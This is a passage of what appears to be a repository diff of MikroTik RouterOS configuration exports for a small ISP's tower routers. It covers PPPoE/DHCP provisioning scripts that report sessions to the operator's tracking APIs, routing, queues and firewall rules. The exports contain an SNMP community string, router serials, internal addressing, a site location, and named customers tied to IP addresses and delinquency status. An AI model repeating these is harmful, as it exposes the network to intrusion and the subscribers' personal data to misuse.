uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 1\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
\_for \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (AWS API)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
r \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" on-up="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 5\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
or \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (gaiia)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
\$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" remote-address=cgnat
/queue type
add kind=fq-codel name=fq-codel
/queue interface
set combo1 queue=fq-codel
set ether1 queue=fq-codel
set ether2 queue=fq-codel
set ether3 queue=fq-codel
set ether4 queue=fq-codel
set ether5 queue=fq-codel
set ether6 queue=fq-codel
set ether7-380 queue=fq-codel
set sfp-sfpplus1 queue=fq-codel
/routing bgp template
set default disabled=no
/routing id
add disabled=no id=10.254.254.110 name=id-1 select-dynamic-id=""
/routing ospf instance
add disabled=no in-filter-chain=ospf-in name=default-v2 out-filter-chain=\
ospf-out redistribute=connected router-id=id-1
add disabled=no name=default-v3 router-id=id-1 version=3
/routing ospf area
add disabled=no instance=default-v2 name=backbone-v2
add disabled=no instance=default-v3 name=backbone-v3
/snmp community
set [ find default=yes ] addresses=204.110.188.0/22,10.0.0.0/8 name=\
kdyyJrT0Mm
/system logging action
add name=logs remote=204.110.191.229 remote-port=1514 src-address=\
10.254.254.110 target=remote
/interface bridge port
add bridge=982 ingress-filtering=no interface=ether1 internal-path-cost=10 \
path-cost=10
add bridge=982 ingress-filtering=no interface=ether2 internal-path-cost=10 \
path-cost=10
add bridge=982 ingress-filtering=no interface=ether3 internal-path-cost=10 \
path-cost=10
add bridge=982 ingress-filtering=no interface=ether4 internal-path-cost=10 \
path-cost=10
add bridge=982 ingress-filtering=no interface=ether5 internal-path-cost=10 \
path-cost=10
add bridge=982 ingress-filtering=no interface=ether6 internal-path-cost=10 \
path-cost=10
add bridge=mgmt ingress-filtering=no interface=vlan10_ether1 \
internal-path-cost=10 path-cost=10
add bridge=mgmt ingress-filtering=no interface=vlan10_ether2 \
internal-path-cost=10 path-cost=10
add bridge=mgmt ingress-filtering=no interface=vlan10_ether3 \
internal-path-cost=10 path-cost=10
add bridge=mgmt ingress-filtering=no interface=vlan10_ether4 \
internal-path-cost=10 path-cost=10
add bridge=mgmt ingress-filtering=no interface=vlan10_ether5 \
internal-path-cost=10 path-cost=10
add bridge=mgmt ingress-filtering=no interface=vlan10_ether6 \
internal-path-cost=10 path-cost=10
add bridge=982 interface=combo1
/ip firewall connection tracking
set icmp-timeout=30s tcp-close-wait-timeout=1m tcp-established-timeout=4h \
tcp-fin-wait-timeout=2m tcp-last-ack-timeout=30s \
tcp-syn-received-timeout=1m tcp-syn-sent-timeout=2m \
tcp-time-wait-timeout=2m udp-stream-timeout=2m
/ip settings
set tcp-syncookies=yes
/interface pppoe-server server
add authentication=mschap2 default-profile=982 disabled=no interface=982 \
one-session-per-host=yes service-name=982
/ip address
add address=10.254.254.110 interface=lo network=10.254.254.110
add address=10.250.1.33/29 interface=ether7-380 network=10.250.1.32
add address=10.10.63.254/20 interface=mgmt network=10.10.48.0
add address=204.110.188.126/27 interface=982 network=204.110.188.96
add address=100.64.63.254/20 comment="New CGNAT subnet" interface=982 \
network=100.64.48.0
/ip dhcp-server lease
add address=10.10.63.2 mac-address=F4:92:BF:2F:29:7E
add address=10.10.63.3 mac-address=F4:92:BF:2F:29:93
add address=10.10.63.4 mac-address=F4:92:BF:2F:29:8F
add address=10.10.63.5 mac-address=F4:92:BF:2F:1C:0D
add address=10.10.63.6 mac-address=F4:92:BF:2F:08:38
add address=10.10.63.1 client-id=1:d0:21:f9:f0:f5:23 mac-address=\
D0:21:F9:F0:F5:23
/ip dhcp-server network
add address=10.10.48.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=10.10.63.254 ntp-server=204.110.191.19
add address=100.64.28.0/22 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=100.64.31.254 ntp-server=204.110.191.19
/ip dns
set servers=9.9.9.9,1.1.1.1
/ip firewall address-list
add address=100.64.35.199 comment="Scott Anderson (2203)" list=BusinessUltra
add address=100.64.35.199 comment="Scott Anderson (2203)" list=Active
add address=100.64.35.198 comment="Jose Lucas (2370)" list=Active
add address=100.64.35.197 comment="Joshua Soliz (2394)" list=\
ResidentialAdvanced
add address=100.64.35.197 comment="Joshua Soliz (2394)" list=Active
add address=100.64.35.196 comment="Corey Ball (2318)" list=Active
add address=100.64.35.194 comment="Craig Hovde (2373)" list=\
ResidentialAdvanced
add address=100.64.35.194 comment="Craig Hovde (2373)" list=Active
add address=100.64.35.195 comment="Juan Alonzo (198)" list=Active
add address=100.64.35.198 comment="Juan Alonzo (198)" list=ResidentialBasic
add address=100.64.35.196 comment="David Villanueva (109)" list=\
ResidentialBasic
add address=100.64.35.195 comment="Joshua Soliz (2394)" list=\
ResidentialAdvanced
add address=100.64.35.193 comment="Jose Lucas (2370)" list=\
ResidentialAdvanced
add address=100.64.35.193 comment="Jose Lucas (2370)" list=Active
add address=100.64.35.192 comment="Jack Worthy (1461)" list=\
ResidentialAdvanced
add address=100.64.35.192 comment="Jack Worthy (1461)" list=Active
add address=100.64.35.191 comment="Melanie Weddle (2304)" list=\
ResidentialBasic
add address=100.64.35.191 comment="Melanie Weddle (2304)" list=Active
add address=100.64.35.190 comment="Kenneth Campbell (1279)" list=\
ResidentialAdvanced
add address=100.64.35.190 comment="Kenneth Campbell (1279)" list=Active
add address=100.64.35.189 comment="Judy Kresich (606)" list=Delinquent
add address=100.64.35.189 comment="Judy Kresich (606)" list=ResidentialBasic
add address=100.64.35.189 comment="Judy Kresich (606)" list=Inactive
add address=100.64.35.188 comment="Nicole Maenn (2378)" list=\
ResidentialAdvanced
add address=100.64.35.188 comment="Nicole Maenn (2378)" list=Active
add address=100.64.35.187 comment="Zack Knuckey (2301)" list=\
ResidentialAdvanced
add address=100.64.35.187 comment="Zack Knuckey (2301)" list=Active
add address=100.64.35.186 comment="Rick Beckham (464)" list=ResidentialBasic
add address=100.64.35.186 comment="Rick Beckham (464)" list=Active
add address=100.64.35.185 comment="Kris Dougherty (421)" list=\
ResidentialAdvanced
add address=100.64.35.185 comment="Kris Dougherty (421)" list=Active
/ip firewall filter
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (out)" out-interface=ether7-380
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (in)" in-interface=ether7-380
add action=fasttrack-connection chain=forward comment=\
"fasttrack established/related" connection-state=established,related
add action=accept chain=forward comment="accept established/related" \
connection-state=established,related
/ip ipsec profile
set [ find default=yes ] dh-group=modp2048 dpd-interval=2m \
dpd-maximum-failures=5 enc-algorithm=aes-256,aes-128 hash-algorithm=\
sha256
/ip proxy
set port=48348
/ip route
add disabled=no dst-address=0.0.0.0/0 gateway=10.250.1.38
/ip service
set ftp address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set telnet address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set www address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set www-ssl address=204.110.188.0/22,10.0.0.0/8
set ssh address=204.110.188.0/22,10.0.0.0/8 port=1022
set winbox address=204.110.188.0/22,10.0.0.0/8
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
set api-ssl certificate=ca-template
/ip ssh
set host-key-type=ed25519 password-authentication=yes strong-crypto=yes
/ipv6 nd
set [ find default=yes ] advertise-dns=yes
/mpls interface
add interface=ether7-380 mpls-mtu=1508
/mpls ldp
add disabled=no lsr-id=10.254.254.110 transport-addresses=10.254.254.110 vrf=\
main
/mpls ldp interface
add interface=ether7-380
/ppp aaa
set use-radius=yes
/radius
add address=204.110.191.248 require-message-auth=no service=ppp src-address=\
204.110.188.126 timeout=300ms
add address=204.110.191.2 disabled=yes require-message-auth=no service=ppp \
src-address=204.110.188.126 timeout=300ms
add accounting-backup=yes address=45.76.56.5 disabled=yes \
require-message-auth=no service=ppp src-address=204.110.188.126 timeout=\
300ms
/routing bfd configuration
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5
/routing filter rule
add chain=ospf-in disabled=no rule="accept;"
add chain=ospf-out disabled=no rule="accept;"
/routing ospf interface-template
add area=backbone-v2 auth-id=1 cost=10 disabled=no interfaces=ether7-380 \
networks=10.250.1.32/29 priority=1 type=ptp use-bfd=no
add area=backbone-v2 disabled=no passive
add area=backbone-v3 disabled=no passive
/snmp
set contact=graham@vntx.net enabled=yes location="33.148902, -96.495811"
/system clock
set time-zone-name=America/Chicago
/system identity
set name=982
/system logging
add action=remote topics=info
/system ntp client
set enabled=yes
/system ntp client servers
add address=ntp.vntx.net
add address=0.us.pool.ntp.org
/system package update
set channel=long-term
/system routerboard settings
# Firmware upgraded successfully, please reboot for changes to take effect!
set auto-upgrade=yes
/system scheduler
add name=reboot on-event="/system reboot" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=2024-09-16 start-time=03:35:00

464
mikrotik-tool/climax.rsc Normal file
View file

@ -0,0 +1,464 @@
# 2026-05-08 17:46:02 by RouterOS 7.21.4
# software id = UETF-WF31
#
# model = CCR2004-16G-2S+
# serial number = HH90A5E8XJF
/interface bridge
add name=climax-bridge
add name=mgmt
/interface ethernet
set [ find default-name=ether1 ] name=ether1-climaxtower
set [ find default-name=ether2 ] l2mtu=9000 rx-flow-control=auto \
tx-flow-control=auto
set [ find default-name=ether3 ] l2mtu=2024 name=ether3-culleoka-11ghz \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether4 ] l2mtu=2024 name=ether4-380-airfiber24 \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether5 ] l2mtu=1580 name=ether5-494 rx-flow-control=\
auto tx-flow-control=auto
set [ find default-name=ether6 ] l2mtu=2024 name=ether6-verona-11ghz \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether7 ] l2mtu=9000 name=ether7-switch \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether8 ] l2mtu=9000 name=ether8-michael \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=sfp-sfpplus1 ] auto-negotiation=no rx-flow-control=\
auto speed=1G-baseX tx-flow-control=auto
/interface vlan
add interface=ether7-switch name=vlan10_ether7 vlan-id=10
add interface=sfp-sfpplus1 name=vlan10_sfp-sfpplus1 vlan-id=10
/ip hotspot user profile
set [ find default=yes ] add-mac-cookie=no on-logout="/ip hotspot host remove \
[find where address=\94\$address\94 and !authorized and !bypassed]" \
session-timeout=1h
/ip ipsec proposal
set [ find default=yes ] auth-algorithms=sha256 enc-algorithms=\
aes-256-cbc,aes-128-cbc pfs-group=modp2048
/ip pool
add name=climaxtower ranges=10.0.102.1-10.0.102.253
add name=dhcp_pool1 ranges=10.100.16.1-10.100.30.254
add name=cgnat ranges=100.64.7.1-100.64.7.250
add name=public-temp ranges=204.110.190.1-204.110.190.99
add name=climax-mgmt ranges=10.10.16.1-10.10.30.254
/ip dhcp-server
add address-pool=climaxtower interface=climax-bridge name=dhcp1
add address-pool=climax-mgmt interface=mgmt lease-script="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
c24944-c947-4e01-9c54-07a1653d2e3e\"\
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
\n:local max 1\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n :if (\$leaseBound = 0) do {\
\n # Try url2 (iptrack.vntx.net) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
t for \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n # Try url (gaiia) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
or \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 3s;\
\n }\
\n } else {\
\n :delay 1s;\
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
seActIP] agent-remote-id];\
\n\
\n # Try url2 (iptrack.vntx.net) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
;\
\n }\
\n\
\n # Try url (gaiia) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 30s;\
\n }\
\n }\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" name=climax-mgmt
/ipv6 pool
add name=climax-v6 prefix=2606:1c80:1:2000::/52 prefix-length=64
/ppp profile
add bridge-learning=no change-tcp-mss=yes dns-server=\
204.110.191.240,204.110.191.20 local-address=cgnat name=pppoe on-down="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 1\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
\_for \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (AWS API)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
r \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" on-up="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 5\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
or \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (gaiia)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
\$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" remote-address=cgnat use-compression=no use-encryption=no use-ipv6=no \
use-mpls=no use-upnp=no
/queue type
add kind=fq-codel name=fq-codel
/queue interface
set ether1-climaxtower queue=fq-codel
set ether2 queue=fq-codel
set ether3-culleoka-11ghz queue=fq-codel
set ether4-380-airfiber24 queue=fq-codel
set ether5-494 queue=fq-codel
set ether6-verona-11ghz queue=fq-codel
set ether7-switch queue=fq-codel
set ether8-michael queue=fq-codel
set ether9 queue=fq-codel
set ether10 queue=fq-codel
set ether11 queue=fq-codel
set ether12 queue=fq-codel
set ether13 queue=fq-codel
set ether14 queue=fq-codel
set ether15 queue=fq-codel
set ether16 queue=fq-codel
set sfp-sfpplus1 queue=fq-codel
set sfp-sfpplus2 queue=fq-codel
/routing id
add disabled=no id=10.254.254.102 name=id-1 select-dynamic-id=""
/routing ospf instance
add disabled=no in-filter-chain=ospf-in name=default-v2 originate-default=\
never out-filter-chain=ospf-out redistribute=connected router-id=id-1
add disabled=no in-filter-chain=ospf-in name=default-v3 out-filter-chain=\
ospf-out redistribute=connected router-id=id-1 version=3
/routing ospf area
add disabled=no instance=default-v2 name=backbone-v2
add disabled=no instance=default-v3 name=backbone-v3
/snmp community
set [ find default=yes ] addresses=204.110.188.0/22,10.0.0.0/8 name=\
kdyyJrT0Mm
/system logging action
set 0 memory-lines=100
set 1 disk-lines-per-file=100
set 3 remote=204.110.191.251 src-address=10.254.254.102
add name=logs remote=204.110.191.229 src-address=10.254.254.102 target=remote
/interface bridge port
add bridge=climax-bridge ingress-filtering=no interface=ether7-switch \
internal-path-cost=10 path-cost=10
add bridge=climax-bridge ingress-filtering=no interface=ether8-michael \
internal-path-cost=10 path-cost=10
add bridge=climax-bridge ingress-filtering=no interface=ether2 \
internal-path-cost=10 multicast-router=disabled path-cost=10
add bridge=climax-bridge interface=sfp-sfpplus1
add bridge=mgmt interface=vlan10_ether7
add bridge=mgmt interface=vlan10_sfp-sfpplus1
/ip firewall connection tracking
set enabled=yes icmp-timeout=30s tcp-close-wait-timeout=1m \
tcp-established-timeout=4h tcp-fin-wait-timeout=2m tcp-last-ack-timeout=\
30s tcp-syn-received-timeout=1m tcp-syn-sent-timeout=2m \
tcp-time-wait-timeout=2m udp-stream-timeout=2m
/ip neighbor discovery-settings
set discover-interface-list=!dynamic
/ip settings
set max-neighbor-entries=8192 tcp-syncookies=yes
/interface pppoe-server server
add authentication=chap,mschap2 default-profile=pppoe disabled=no interface=\
climax-bridge max-mru=1492 max-mtu=1492 one-session-per-host=yes \
service-name=Climax
/ip address
add address=10.0.102.254/24 interface=ether1-climaxtower network=10.0.102.0
add address=10.254.254.102 interface=lo network=10.254.254.102
add address=204.110.188.62/27 interface=climax-bridge network=204.110.188.32
add address=100.64.7.254/22 interface=climax-bridge network=100.64.4.0
add address=10.250.1.14/29 interface=ether3-culleoka-11ghz network=10.250.1.8
add address=10.250.1.30/29 interface=ether6-verona-11ghz network=10.250.1.24
add address=10.250.1.70/29 interface=ether5-494 network=10.250.1.64
add address=10.250.1.94/29 interface=ether4-380-airfiber24 network=\
10.250.1.88
add address=10.10.31.254/20 interface=mgmt network=10.10.16.0
/ip dhcp-server network
add address=10.0.102.0/24 dns-server=9.9.9.9 gateway=10.0.102.254
add address=10.10.16.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=10.10.31.254 ntp-server=204.110.191.19
add address=100.64.4.0/22 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=100.64.7.254 ntp-server=204.110.191.19
add address=204.110.188.32/27 dns-server=204.110.191.240,204.110.191.20 \
domain=vntx.net gateway=204.110.188.62 ntp-server=204.110.191.19
/ip dns
set servers=9.9.9.9,1.1.1.1
/ip firewall filter
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (out)" out-interface=ether5-494
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (in)" in-interface=ether5-494
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (out)" out-interface=\
ether4-380-airfiber24
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (in)" in-interface=ether4-380-airfiber24
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (out)" out-interface=ether6-verona-11ghz
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (in)" in-interface=ether6-verona-11ghz
add action=passthrough chain=unused-hs-chain comment=\
"place hotspot rules here" disabled=yes
add action=fasttrack-connection chain=forward comment=\
"fasttrack established/related" connection-state=established,related
add action=accept chain=forward comment="accept established/related" \
connection-state=established,related
/ip hotspot ip-binding
add address=100.64.7.250 type=bypassed
add address=204.110.188.62 type=bypassed
add address=10.10.0.0/16 type=bypassed
add address=204.110.188.0/24
add address=100.64.0.0/10
add address=204.110.188.32/27
add address=0.0.0.0/0 type=blocked
/ip hotspot profile
add dns-name=climax.vntx.net hotspot-address=10.100.31.254 login-by="" name=\
hsprof1
/ip ipsec policy
set 0 dst-address=0.0.0.0/0 src-address=0.0.0.0/0
/ip ipsec profile
set [ find default=yes ] dh-group=modp2048 dpd-interval=2m \
dpd-maximum-failures=5 enc-algorithm=aes-256,aes-128 hash-algorithm=\
sha256
/ip proxy
set cache-path=web-proxy1 port=23435
/ip proxy access
add src-address=100.64.0.0/10
add src-address=204.110.188.0/22
add src-address=10.0.0.0/8
add action=deny
/ip route
add disabled=no distance=1 dst-address=0.0.0.0/0 gateway=10.250.1.89 \
pref-src="" routing-table=main scope=30 target-scope=10
add dst-address=204.110.188.224/27 gateway=10.250.1.25
add dst-address=100.64.0.0/22 gateway=10.250.1.25
add dst-address=10.10.0.0/20 gateway=10.250.1.25
add dst-address=10.10.80.0/20 gateway=10.250.1.25
add dst-address=204.110.191.0/27 gateway=10.250.1.25
add dst-address=10.250.1.64/29 gateway=10.250.1.65
add dst-address=10.254.254.111/32 gateway=10.250.1.65
add dst-address=100.64.160.0/20 gateway=10.250.1.65
add dst-address=204.110.188.64/27 gateway=10.250.1.65
add disabled=no dst-address=10.254.254.101/32 gateway=10.250.1.25 \
routing-table=main
/ip service
set ftp address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set telnet address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set www address=204.110.188.0/22,10.0.0.0/8 disabled=yes port=81
